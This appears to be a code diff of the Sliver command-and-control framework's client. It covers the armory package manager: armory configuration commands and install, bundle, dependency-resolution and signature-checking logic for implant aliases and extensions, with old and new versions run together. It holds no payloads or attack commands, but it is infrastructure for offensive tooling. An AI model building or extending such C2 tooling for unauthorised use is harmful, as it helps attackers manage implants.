Args: cobra.RangeArgs(0, 1),
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.InfoStr}),
Run: func(cmd *cobra.Command, args []string) {
ArmoryInfoCommand(cmd, con, args)
},
}
armoryCmd.AddCommand(armoryInfoCmd)
carapace.Gen(armoryInfoCmd).PositionalCompletion(
carapace.ActionValues().Usage("armory or package name"),
)
armoryAddCmd := &cobra.Command{
Use: consts.AddStr,
Short: "Add a new armory",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.AddStr}),
Args: cobra.ExactArgs(1), // the name of the armory
Run: func(cmd *cobra.Command, args []string) {
AddArmoryCmd(cmd, con, args)
},
}
flags.Bind("", false, armoryAddCmd, func(f *pflag.FlagSet) {
f.StringP("url", "u", "", "The URL of the armory index (required)")
f.StringP("pubkey", "k", "", "The public key for the armory (required)")
f.StringP("auth", "a", "", "Authorization details / credentials for the armory")
f.StringP("authcmd", "x", "", "Local command to run for authorization to the armory")
f.BoolP("no-save", "e", false, "Do not save this armory configuration to disk")
})
armoryAddCmd.MarkFlagRequired("url")
armoryAddCmd.MarkFlagRequired("pubkey")
carapace.Gen(armoryAddCmd).PositionalCompletion(
carapace.ActionValues().Usage("name of the armory"),
)
armoryCmd.AddCommand(armoryAddCmd)
armoryRemoveCmd := &cobra.Command{
Use: consts.RmStr,
Short: "Remove an armory",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.RmStr}),
Args: cobra.ExactArgs(1), // the name of the armory
Run: func(cmd *cobra.Command, args []string) {
RemoveArmoryCmd(cmd, con, args)
},
}
carapace.Gen(armoryAddCmd).PositionalCompletion(
carapace.ActionValues().Usage("name of the armory"),
)
armoryCmd.AddCommand(armoryRemoveCmd)
armorySaveCmd := &cobra.Command{
Use: consts.SaveStr,
Short: "Save the armory configuration to disk",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.SaveStr}),
Run: func(cmd *cobra.Command, args []string) {
SaveArmories(con)
},
}
armoryCmd.AddCommand(armorySaveCmd)
armoryEnableCmd := &cobra.Command{
Use: consts.EnableStr,
Short: "Enable an armory",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.EnableStr}),
Args: cobra.ExactArgs(1), // The name of the armory
Run: func(cmd *cobra.Command, args []string) {
ChangeArmoryEnabledState(cmd, con, args, true)
},
}
carapace.Gen(armoryEnableCmd).PositionalCompletion(
carapace.ActionValues().Usage("name of the armory"),
)
armoryCmd.AddCommand(armoryEnableCmd)
armoryDisableCmd := &cobra.Command{
Use: consts.DisableStr,
Short: "Disable an armory",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.DisableStr}),
Args: cobra.ExactArgs(1), // The name of the armory
Run: func(cmd *cobra.Command, args []string) {
ChangeArmoryEnabledState(cmd, con, args, false)
},
}
carapace.Gen(armoryDisableCmd).PositionalCompletion(
carapace.ActionValues().Usage("name of the armory"),
)
armoryCmd.AddCommand(armoryDisableCmd)
armoryModifyCmd := &cobra.Command{
Use: consts.ModifyStr,
Short: "Modify an armory configuration",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.ModifyStr}),
Args: cobra.ExactArgs(1), // The name of the armory
Run: func(cmd *cobra.Command, args []string) {
ModifyArmoryCmd(cmd, con, args)
},
}
flags.Bind("", false, armoryModifyCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", "", "new name for the armory")
f.StringP("pubkey", "k", "", "new public key for the armory")
f.StringP("url", "u", "", "new URL for the armory")
f.StringP("auth", "a", "", "new authorization details / credentials for the armory")
f.StringP("authcmd", "x", "", "new local command to run for authorization to the armory")
f.BoolP("no-save", "e", false, "do not save armory configuration to armory configuration file")
})
carapace.Gen(armoryModifyCmd).PositionalCompletion(
carapace.ActionValues().Usage("name of the armory"),
)
armoryCmd.AddCommand(armoryModifyCmd)
armoryRefreshCmd := &cobra.Command{
Use: consts.RefreshStr,
Short: "Refresh armory indexes",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.RefreshStr}),
Run: func(cmd *cobra.Command, args []string) {
RefreshArmories(cmd, con)
},
}
armoryCmd.AddCommand(armoryRefreshCmd)
armoryResetCmd := &cobra.Command{
Use: consts.ResetStr,
Short: "Reset armory configuration",
Long: help.GetHelpFor([]string{consts.ArmoryStr, consts.ResetStr}),
Run: func(cmd *cobra.Command, args []string) {
ResetArmoryConfig(cmd, con)
},
}
armoryCmd.AddCommand(armoryResetCmd)
return []*cobra.Command{armoryCmd}
}
+129 -589
View File
@@ -19,596 +19,122 @@ package armory
*/ */
import ( import (
"encoding/json"
"errors" "errors"
"fmt" "fmt"
"net/url" "net/url"
"os" "os"
"path/filepath" "path/filepath"
"slices"
"sort"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra" "github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/alias"
"github.com/bishopfox/sliver/client/command/extensions" "github.com/bishopfox/sliver/client/command/extensions"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/forms"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/minisign" "github.com/bishopfox/sliver/util/minisign"
) )
// ErrPackageNotFound - The package was not found // ErrPackageNotFound - The package was not found
var ErrPackageNotFound = errors.New("package not found") var ErrPackageNotFound = errors.New("package not found")
var ErrPackageAlreadyInstalled = errors.New("package is already installed")
const (
doNotInstallOption = "Do not install this package"
doNotInstallPackageName = "do not install"
)
// ArmoryInstallCmd - The armory install command // ArmoryInstallCmd - The armory install command
func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func ArmoryInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
var promptToOverwrite bool name := args[0]
names := []string{} // name := ctx.Args.String("name")
if len(args) > 0 { if name == "" {
names = []string{args[0]}
}
forceInstallation, err := cmd.Flags().GetBool("force")
if err != nil {
con.PrintErrorf("Could not parse %q flag: %s\n", "force", err)
return
}
if forceInstallation {
promptToOverwrite = false
} else {
promptToOverwrite = true
}
armoryName, err := cmd.Flags().GetString("armory")
if err != nil {
con.PrintErrorf("Could not parse %q flag: %s\n", "armory", err)
return
}
// Find PK for the armory name
armoryPK := getArmoryPublicKey(armoryName)
// If the armory with the name is not found, print a warning
if cmd.Flags().Changed("armory") && armoryPK == "" {
con.PrintWarnf("Could not find a configured armory named %q - searching all configured armories\n\n", armoryName)
}
clientConfig := parseArmoryHTTPConfig(cmd)
refresh(clientConfig)
if len(names) == 0 {
armoryFilterName := ""
if armoryPK != "" {
armoryFilterName = armoryName
}
options := armoryInstallOptions(armoryPK, armoryFilterName)
if len(options) == 0 {
con.PrintInfof("No packages or bundles found\n")
return
}
result, err := forms.ArmoryInstallForm(options)
if err != nil {
if errors.Is(err, forms.ErrUserAborted) {
return
}
con.PrintErrorf("Armory install form failed: %s\n", err)
return
}
if len(result.SelectedNames) == 0 {
return
}
names = result.SelectedNames
}
if len(names) == 0 {
con.PrintErrorf("A package or bundle name is required") con.PrintErrorf("A package or bundle name is required")
return return
} }
if slices.Contains(names, "all") { clientConfig := parseArmoryHTTPConfig(cmd)
names = []string{"all"} refresh(clientConfig)
} if name == "all" {
aliases, extensions := packagesInCache()
for _, name := range names { confirm := false
if name == "" { prompt := &survey.Confirm{
continue Message: fmt.Sprintf("Install %d aliases and %d extensions?",
len(aliases), len(extensions),
),
} }
survey.AskOne(prompt, &confirm)
promptOverwrite := promptToOverwrite if !confirm {
if name == "all" {
aliases, extensions := packageManifestsInCache()
aliasCount, extCount := countUniqueCommandsFromManifests(aliases, extensions)
confirm := false
pluralAliases := "es"
if aliasCount == 1 {
pluralAliases = ""
}
pluralExtensions := "s"
if extCount == 1 {
pluralExtensions = ""
}
forms.Confirm(fmt.Sprintf("Install %d alias%s and %d extension%s?",
aliasCount, pluralAliases, extCount, pluralExtensions,
), &confirm)
if !confirm {
return
}
promptOverwrite = false
}
err = installPackageByName(name, armoryPK, forceInstallation, promptOverwrite, clientConfig, con)
if err == nil {
continue
}
if errors.Is(err, ErrPackageNotFound) {
bundles := bundlesInCache()
for _, bundle := range bundles {
if bundle.Name == name {
installBundle(bundle, armoryPK, forceInstallation, clientConfig, con)
err = nil
break
}
}
if err == nil {
continue
}
// If we have made it here, then there was not a bundle or package that matched the provided name
if armoryPK == "" {
con.PrintErrorf("No package or bundle named %q was found\n", name)
} else {
con.PrintErrorf("No package or bundle named %q was found in armory %s\n", name, armoryName)
}
} else if errors.Is(err, ErrPackageAlreadyInstalled) {
con.PrintErrorf("Package %q is already installed - use the force option to overwrite it\n", name)
} else {
con.PrintErrorf("Could not install package: %s\n", err)
}
}
}
func installBundle(bundle *ArmoryBundle, armoryPK string, forceInstallation bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) {
installList := []string{}
pendingPackages := make(map[string]string)
for _, bundlePkgName := range bundle.Packages {
packageInstallList, err := buildInstallList(bundlePkgName, armoryPK, forceInstallation, pendingPackages)
if err != nil {
if errors.Is(err, ErrPackageAlreadyInstalled) {
con.PrintInfof("Package %s is already installed. Skipping...\n", bundlePkgName)
continue
} else {
con.PrintErrorf("Error for package %s: %s\n", bundlePkgName, err)
return
}
}
for _, pkgID := range packageInstallList {
if !slices.Contains(installList, pkgID) {
installList = append(installList, pkgID)
}
}
}
for _, packageID := range installList {
packageEntry := packageCacheLookupByID(packageID)
if packageEntry == nil {
con.PrintErrorf("The package cache is out of date. Please run armory refresh and try again.\n")
return return
} }
if packageEntry.Pkg.IsAlias { }
err := installAliasPackage(packageEntry, false, clientConfig, con) err := installPackageByName(name, clientConfig, con)
if err != nil { if err == nil {
con.PrintErrorf("Failed to install alias '%s': %s", packageEntry.Alias.CommandName, err) return
return }
} if err == ErrPackageNotFound {
} else { bundles := bundlesInCache()
err := installExtensionPackage(packageEntry, false, clientConfig, con) for _, bundle := range bundles {
if err != nil { if bundle.Name == name {
con.PrintErrorf("Failed to install extension '%s': %s", packageEntry.Extension.Name, err) installBundle(bundle, clientConfig, con)
return return
} }
} }
} }
con.PrintErrorf("No package or bundle named '%s' was found", name)
} }
func getInstalledPackageNames() []string { func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
packageNames := []string{} for _, pkgName := range bundle.Packages {
err := installPackageByName(pkgName, clientConfig, con)
installedAliases := assets.GetInstalledAliasManifests()
installedExtensions := assets.GetInstalledExtensionManifests()
for _, aliasFileName := range installedAliases {
alias := &alias.AliasManifest{}
manifestData, err := os.ReadFile(aliasFileName)
if err != nil { if err != nil {
continue con.PrintErrorf("Failed to install '%s': %s", pkgName, err)
}
err = json.Unmarshal(manifestData, alias)
if err != nil {
continue
}
if !slices.Contains(packageNames, alias.CommandName) {
packageNames = append(packageNames, alias.CommandName)
} }
} }
for _, extensionFileName := range installedExtensions {
extension := &extensions.ExtensionManifest{}
manifestData, err := os.ReadFile(extensionFileName)
if err != nil {
continue
}
err = json.Unmarshal(manifestData, extension)
if err != nil {
continue
}
if len(extension.ExtCommand) == 0 {
extensionOld := &extensions.ExtensionManifest_{}
// Some extension manifests are using an older version
// To maintain compatibility with those extensions, we will
// re-unmarshal the data as the older version
err = json.Unmarshal(manifestData, extensionOld)
if err != nil {
continue
}
if !slices.Contains(packageNames, extensionOld.CommandName) {
packageNames = append(packageNames, extensionOld.CommandName)
}
} else {
for _, command := range extension.ExtCommand {
if !slices.Contains(packageNames, command.CommandName) {
packageNames = append(packageNames, command.CommandName)
}
}
}
}
return packageNames
} }
// This is a convenience function to get the names of the commands in the cache func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
func getCommandsInCache(armoryPK string) []string { aliases, extensions := packagesInCache()
commandNames := []string{} for _, alias := range aliases {
if alias.CommandName == name || name == "all" {
pkgCache.Range(func(key, value interface{}) bool { installAlias(alias, clientConfig, con)
cacheEntry := value.(pkgCacheEntry) if name != "all" {
if cacheEntry.LastErr == nil { return nil
if armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey != armoryPK {
return true
} }
if cacheEntry.Pkg.IsAlias {
if cacheEntry.Alias.CommandName != "" && !slices.Contains(commandNames, cacheEntry.Alias.CommandName) {
commandNames = append(commandNames, cacheEntry.Alias.CommandName)
}
} else {
for _, command := range cacheEntry.Extension.ExtCommand {
if command.CommandName != "" && !slices.Contains(commandNames, command.CommandName) {
commandNames = append(commandNames, command.CommandName)
}
}
}
}
return true
})
return commandNames
}
func getPackagesWithCommandName(name, armoryPK, minimumVersion string) []*pkgCacheEntry {
packages := []*pkgCacheEntry{}
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.LastErr == nil {
if cacheEntry.Pkg.IsAlias {
if cacheEntry.Alias.CommandName == name {
if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Alias.Version >= minimumVersion) {
if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
packages = append(packages, &cacheEntry)
}
}
}
} else {
for _, command := range cacheEntry.Extension.ExtCommand {
if command.CommandName == name {
if minimumVersion == "" || (minimumVersion != "" && cacheEntry.Extension.Version >= minimumVersion) {
if armoryPK == "" || (armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey == armoryPK) {
packages = append(packages, &cacheEntry)
}
break
}
}
}
}
}
return true
})
return packages
}
func getPackageIDFromUser(name string, options map[string]string) string {
selectedPackageKey := ""
optionKeys := util.Keys(options)
slices.Sort(optionKeys)
// Add a cancel option
optionKeys = append(optionKeys, doNotInstallOption)
options[doNotInstallOption] = doNotInstallPackageName
forms.Select(fmt.Sprintf("More than one package contains the command %s. Please choose an option from the list below:", name), optionKeys, &selectedPackageKey)
selectedPackageID := options[selectedPackageKey]
return selectedPackageID
}
func getPackageForCommand(name, armoryPK, minimumVersion string) (*pkgCacheEntry, error) {
packagesWithCommand := getPackagesWithCommandName(name, armoryPK, minimumVersion)
if len(packagesWithCommand) > 1 {
// Build an option map for the user to choose from (option -> pkgID)
optionMap := make(map[string]string)
for _, packageEntry := range packagesWithCommand {
var optionName string
if packageEntry.Pkg.IsAlias {
optionName = fmt.Sprintf("Alias %s %s from armory %s (%s)",
name,
packageEntry.Alias.Version,
packageEntry.ArmoryConfig.Name,
packageEntry.Pkg.RepoURL,
)
} else {
optionName = fmt.Sprintf("Extension %s %s from armory %s with command %s (%s)",
packageEntry.Pkg.Name,
packageEntry.Extension.Version,
packageEntry.ArmoryConfig.Name,
name,
packageEntry.Pkg.RepoURL,
)
}
optionMap[optionName] = packageEntry.ID
}
selectedPackageID := getPackageIDFromUser(name, optionMap)
if selectedPackageID == doNotInstallPackageName {
return nil, fmt.Errorf("user cancelled installation")
}
for _, packageEntry := range packagesWithCommand {
if packageEntry.ID == selectedPackageID {
return packageEntry, nil
}
}
} else if len(packagesWithCommand) == 1 {
return packagesWithCommand[0], nil
}
return nil, ErrPackageNotFound
}
func buildInstallList(name, armoryPK string, forceInstallation bool, pendingPackages map[string]string) ([]string, error) {
packageInstallList := []string{}
installedPackages := getInstalledPackageNames()
/*
Gather information about what we are working with
Find all conflicts within aliases for a given name (or all names), same thing with extensions
Then if there are aliases and extensions with a given name, make sure to note that for when we ask the user what to do
*/
var requestedPackageList []string
if name == "all" {
requestedPackageList = []string{}
allCommands := getCommandsInCache(armoryPK)
for _, cmdName := range allCommands {
if !slices.Contains(installedPackages, cmdName) || forceInstallation {
// Check to see if there is a package pending with that name
if _, ok := pendingPackages[cmdName]; !ok {
requestedPackageList = append(requestedPackageList, cmdName)
}
}
}
} else {
if !slices.Contains(installedPackages, name) || forceInstallation {
// Check to see if there is a package pending with that name
if _, ok := pendingPackages[name]; !ok {
requestedPackageList = []string{name}
}
} else {
return nil, ErrPackageAlreadyInstalled
} }
} }
for _, extm := range extensions {
for _, packageName := range requestedPackageList { for _, ext := range extm.ExtCommand {
if _, ok := pendingPackages[packageName]; ok { if ext.CommandName == name || name == "all" {
// We are already going to install a package with this name, so do not try to resolve it installExtension(ext.Manifest, clientConfig, con)
continue if name != "all" {
} return nil
packageEntry, err := getPackageForCommand(packageName, armoryPK, "")
if err != nil {
return nil, err
}
if !slices.Contains(packageInstallList, packageEntry.ID) {
packageInstallList = append(packageInstallList, packageEntry.ID)
pendingPackages[packageName] = packageEntry.ID
}
if !packageEntry.Pkg.IsAlias {
dependencies := make(map[string]*pkgCacheEntry)
err = resolveExtensionPackageDependencies(packageEntry, dependencies, pendingPackages)
if err != nil {
return nil, err
}
for pkgName, packageEntry := range dependencies {
if !slices.Contains(packageInstallList, packageEntry.ID) {
packageInstallList = append(packageInstallList, packageEntry.ID)
}
if _, ok := pendingPackages[pkgName]; !ok {
pendingPackages[pkgName] = packageEntry.ID
} }
} }
} }
} }
return packageInstallList, nil
}
func installPackageByName(name, armoryPK string, forceInstallation, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
pendingPackages := make(map[string]string)
packageInstallList, err := buildInstallList(name, armoryPK, forceInstallation, pendingPackages)
if err != nil {
return err
}
if len(packageInstallList) == 0 && name == "all" {
availableCommands := getCommandsInCache(armoryPK)
if len(availableCommands) == 0 {
con.PrintInfof("No packages or bundles found\n")
} else {
con.PrintInfof("All available packages are already installed\n")
}
return nil
}
if len(packageInstallList) > 0 {
for _, packageID := range packageInstallList {
entry := packageCacheLookupByID(packageID)
if entry == nil {
return errors.New("cache consistency error - please refresh the cache and try again")
}
if entry.Pkg.IsAlias {
err := installAliasPackage(entry, promptToOverwrite, clientConfig, con)
if err != nil {
return fmt.Errorf("failed to install alias '%s': %s", entry.Alias.CommandName, err)
}
} else {
err := installExtensionPackage(entry, promptToOverwrite, clientConfig, con)
if err != nil {
return fmt.Errorf("failed to install extension '%s': %s", entry.Extension.Name, err)
}
}
}
} else {
return ErrPackageNotFound
}
if name == "all" { if name == "all" {
con.Printf("\n") con.Printf("\n")
con.PrintSuccessf("Operation complete\n") con.PrintInfof("All packages installed\n")
return nil
} }
return ErrPackageNotFound
return nil
} }
func armoryInstallOptions(armoryPK, armoryName string) []forms.ArmoryInstallOption { func installAlias(alias *alias.AliasManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
options := []forms.ArmoryInstallOption{} err := installAliasPackageByName(alias.CommandName, clientConfig, con)
seen := make(map[string]bool) if err != nil {
packageCount := 0 con.PrintErrorf("Failed to install alias '%s': %s", alias.CommandName, err)
return
}
}
func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool { pkgCache.Range(func(key, value interface{}) bool {
cacheEntry, ok := value.(pkgCacheEntry) cacheEntry := value.(pkgCacheEntry)
if !ok { if cacheEntry.Pkg.CommandName == name {
return true entry = &cacheEntry
return false
} }
if cacheEntry.LastErr != nil {
return true
}
if armoryPK != "" && cacheEntry.ArmoryConfig.PublicKey != armoryPK {
return true
}
if cacheEntry.Pkg.IsAlias {
name := cacheEntry.Alias.CommandName
if name == "" {
return true
}
if seen[name] {
return true
}
label := formatArmoryInstallLabel("alias", name, cacheEntry.Alias.Help)
options = append(options, forms.ArmoryInstallOption{
Value: name,
Label: label,
})
seen[name] = true
packageCount++
return true
}
for _, command := range cacheEntry.Extension.ExtCommand {
name := command.CommandName
if name == "" {
continue
}
if seen[name] {
continue
}
label := formatArmoryInstallLabel("extension", name, command.Help)
options = append(options, forms.ArmoryInstallOption{
Value: name,
Label: label,
})
seen[name] = true
packageCount++
}
return true return true
}) })
for _, bundle := range bundlesInCache() {
if bundle.Name == "" {
continue
}
if armoryName != "" && bundle.ArmoryName != armoryName {
continue
}
if seen[bundle.Name] {
continue
}
label := fmt.Sprintf("bundle: %s (%d packages)", bundle.Name, len(bundle.Packages))
options = append(options, forms.ArmoryInstallOption{
Value: bundle.Name,
Label: label,
})
seen[bundle.Name] = true
}
if len(options) == 0 {
return options
}
sort.Slice(options, func(i, j int) bool {
return options[i].Label < options[j].Label
})
if packageCount > 0 {
options = append([]forms.ArmoryInstallOption{
{
Value: "all",
Label: "all packages (aliases + extensions)",
},
}, options...)
}
return options
}
func formatArmoryInstallLabel(kind, name, help string) string {
help = strings.TrimSpace(help)
if help == "" {
return fmt.Sprintf("%s: %s", kind, name)
}
help = strings.Join(strings.Fields(help), " ")
return fmt.Sprintf("%s: %s - %s", kind, name, help)
}
func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error {
if entry == nil { if entry == nil {
return errors.New("package not found") return errors.New("package not found")
} }
if !entry.Pkg.IsAlias {
return errors.New("package is not an alias")
}
repoURL, err := url.Parse(entry.RepoURL) repoURL, err := url.Parse(entry.RepoURL)
if err != nil { if err != nil {
return err return err
@@ -635,15 +161,20 @@ func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientCon
return errors.New("signature verification failed") return errors.New("signature verification failed")
} }
tmpFileName, err := writeArmoryTempFile(tarGz) tmpFile, err := os.CreateTemp("", "sliver-armory-")
if err != nil { if err != nil {
return err return err
} }
defer os.Remove(tmpFileName) defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
tmpFile.Close()
con.Printf(console.Clearln + "\r") // Clear the line con.Printf(console.Clearln + "\r") // Clear the line
installPath := alias.InstallFromFile(tmpFileName, entry.Alias.CommandName, promptToOverwrite, con) installPath := alias.InstallFromFile(tmpFile.Name(), true, con)
if installPath == nil { if installPath == nil {
return errors.New("failed to install alias") return errors.New("failed to install alias")
} }
@@ -657,15 +188,50 @@ func installAliasPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientCon
return nil return nil
} }
func installExtension(extm *extensions.ExtensionManifest, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
deps := make(map[string]struct{})
for _, ext := range extm.ExtCommand {
resolveExtensionPackageDependencies(ext.CommandName, deps, clientConfig, con)
sliverMenu := con.App.Menu(constants.ImplantMenu).Root()
for dep := range deps {
if extensions.CmdExists(dep, sliverMenu) {
continue // Dependency is already installed
}
err := installExtensionPackageByName(dep, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension dependency '%s': %s", dep, err)
return
}
}
err := installExtensionPackageByName(ext.CommandName, clientConfig, con)
if err != nil {
con.PrintErrorf("Failed to install extension '%s': %s", ext.CommandName, err)
return
}
}
}
const maxDepDepth = 10 // Arbitrary recursive limit for dependencies const maxDepDepth = 10 // Arbitrary recursive limit for dependencies
func resolveExtensionPackageDependencies(pkg *pkgCacheEntry, deps map[string]*pkgCacheEntry, pendingPackages map[string]string) error { func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) {
for _, multiExt := range pkg.Extension.ExtCommand { var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil {
return
}
for _, multiExt := range entry.Extension.ExtCommand {
if multiExt.DependsOn == "" { if multiExt.DependsOn == "" {
continue // Avoid adding empty dependency continue // Avoid adding empty dependency
} }
if multiExt.DependsOn == pkg.Extension.Name { if multiExt.DependsOn == name {
continue // Avoid infinite loop of something that depends on itself continue // Avoid infinite loop of something that depends on itself
} }
// We also need to look out for circular dependencies, so if we've already // We also need to look out for circular dependencies, so if we've already
@@ -673,28 +239,24 @@ func resolveExtensionPackageDependencies(pkg *pkgCacheEntry, deps map[string]*pk
if _, ok := deps[multiExt.DependsOn]; ok { if _, ok := deps[multiExt.DependsOn]; ok {
continue // Already resolved continue // Already resolved
} }
// Check to make sure we are not already going to install a package with this name
if _, ok := pendingPackages[multiExt.DependsOn]; ok {
continue
}
if maxDepDepth < len(deps) { if maxDepDepth < len(deps) {
continue continue
} }
// Figure out what package we need for the dependency deps[multiExt.DependsOn] = struct{}{}
dependencyEntry, err := getPackageForCommand(multiExt.DependsOn, "", "") resolveExtensionPackageDependencies(multiExt.DependsOn, deps, clientConfig, con)
if err != nil {
return fmt.Errorf("could not resolve dependency %s for %s: %s", multiExt.DependsOn, pkg.Extension.Name, err)
}
deps[multiExt.DependsOn] = dependencyEntry
err = resolveExtensionPackageDependencies(dependencyEntry, deps, pendingPackages)
if err != nil {
return err
}
} }
return nil
} }
func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error { func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
var entry *pkgCacheEntry
pkgCache.Range(func(key, value interface{}) bool {
cacheEntry := value.(pkgCacheEntry)
if cacheEntry.Pkg.CommandName == name {
entry = &cacheEntry
return false
}
return true
})
if entry == nil { if entry == nil {
return errors.New("package not found") return errors.New("package not found")
} }
@@ -724,45 +286,23 @@ func installExtensionPackage(entry *pkgCacheEntry, promptToOverwrite bool, clien
return errors.New("signature verification failed") return errors.New("signature verification failed")
} }
tmpFileName, err := writeArmoryTempFile(tarGz) tmpFile, err := os.CreateTemp("", "sliver-armory-")
if err != nil {
return err
}
defer os.Remove(tmpFile.Name())
_, err = tmpFile.Write(tarGz)
if err != nil {
return err
}
err = tmpFile.Sync()
if err != nil { if err != nil {
return err return err
} }
defer os.Remove(tmpFileName)
con.Printf(console.Clearln + "\r") // Clear download message con.Printf(console.Clearln + "\r") // Clear download message
extensions.InstallFromDir(tmpFileName, promptToOverwrite, con, true) extensions.InstallFromDir(tmpFile.Name(), con, true)
return nil return nil
} }
func writeArmoryTempFile(data []byte) (string, error) {
if len(data) == 0 {
return "", errors.New("downloaded archive is empty")
}
tmpFile, err := os.CreateTemp("", "sliver-armory-")
if err != nil {
return "", err
}
tmpFileName := tmpFile.Name()
for len(data) > 0 {
n, err := tmpFile.Write(data)
if err != nil {
tmpFile.Close()
os.Remove(tmpFileName)
return "", err
}
data = data[n:]
}
if err := tmpFile.Sync(); err != nil {
tmpFile.Close()
os.Remove(tmpFileName)
return "", err
}
if err := tmpFile.Close(); err != nil {
os.Remove(tmpFileName)
return "", err
}
return tmpFileName, nil
}
-652
View File
@@ -1,652 +0,0 @@
package armory
import (
"fmt"
"os"
"path/filepath"
"slices"
"strings"
"sync"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/forms"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
func printArmories(con *console.SliverClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"Armory Name",
"Authorization Required",
"Enabled",
"URL",
})
configuredArmories := getCurrentArmoryConfiguration()
for _, armory := range configuredArmories {
var authRequired string
var enabled string
if armory.Authorization != "" {
authRequired = "yes"
} else {
authRequired = "no"
}
if armory.Enabled {
enabled = "yes"
} else {
enabled = "no"
}
tw.AppendRow(table.Row{
armory.Name,
authRequired,
enabled,
armory.RepoURL,
})
}
con.Printf("%s\n", tw.Render())
}
func generateRowsForArmory(armoryInfo *assets.ArmoryConfig) []table.Row {
rows := make([]table.Row, 0)
rows = append(rows, table.Row{
"Name",
armoryInfo.Name,
})
rows = append(rows, table.Row{
"Public Key",
armoryInfo.PublicKey,
})
enabled := "yes"
if !armoryInfo.Enabled {
enabled = "no"
}
rows = append(rows, table.Row{
"Enabled",
enabled,
})
authorizationRequired := "no"
if armoryInfo.Authorization != "" {
authorizationRequired = fmt.Sprintf("yes; current authorization: %s", armoryInfo.Authorization)
}
rows = append(rows, table.Row{
"Authorization required?",
authorizationRequired,
})
if authorizationRequired != "no" {
authCmd := armoryInfo.AuthorizationCmd
if authCmd == "" {
authCmd = "not configured"
}
rows = append(rows, table.Row{
"Authorization Command",
authCmd,
})
}
rows = append(rows, table.Row{
"URL",
armoryInfo.RepoURL,
})
return rows
}
func generateRowsForPackage(packageInfo *pkgCacheEntry) []table.Row {
rows := make([]table.Row, 0)
rows = append(rows, table.Row{
"Name",
packageInfo.Pkg.Name,
})
rows = append(rows, table.Row{
"Command Name",
packageInfo.Pkg.CommandName,
})
rows = append(rows, table.Row{
"Armory Name",
packageInfo.Pkg.ArmoryName,
})
packageType := "alias"
if !packageInfo.Pkg.IsAlias {
packageType = "extension"
}
rows = append(rows, table.Row{
"Package Type",
packageType,
})
if packageType == "alias" {
rows = append(rows, table.Row{
"Version",
packageInfo.Alias.Version,
})
rows = append(rows, table.Row{
"Author",
packageInfo.Alias.OriginalAuthor,
})
rows = append(rows, table.Row{
"Repo URL",
packageInfo.Alias.RepoURL,
})
rows = append(rows, table.Row{
"Help",
packageInfo.Alias.Help,
})
} else {
rows = append(rows, table.Row{
"Version",
packageInfo.Extension.Version,
})
rows = append(rows, table.Row{
"Original Author",
packageInfo.Extension.OriginalAuthor,
})
rows = append(rows, table.Row{
"Extension Author",
packageInfo.Extension.ExtensionAuthor,
})
rows = append(rows, table.Row{
"URL",
packageInfo.Extension.RepoURL,
})
extCommands := []string{}
for _, cmd := range packageInfo.Extension.ExtCommand {
extCommands = append(extCommands, cmd.CommandName)
}
rows = append(rows, table.Row{
"Contains commands",
strings.Join(extCommands, ", "),
})
rows = append(rows, table.Row{"", ""})
rows = append(rows, table.Row{"Command Info", ""})
for _, extCmd := range packageInfo.Extension.ExtCommand {
rows = append(rows, table.Row{
"Command Name",
extCmd.CommandName,
})
rows = append(rows, table.Row{
"Dependencies",
extCmd.DependsOn,
})
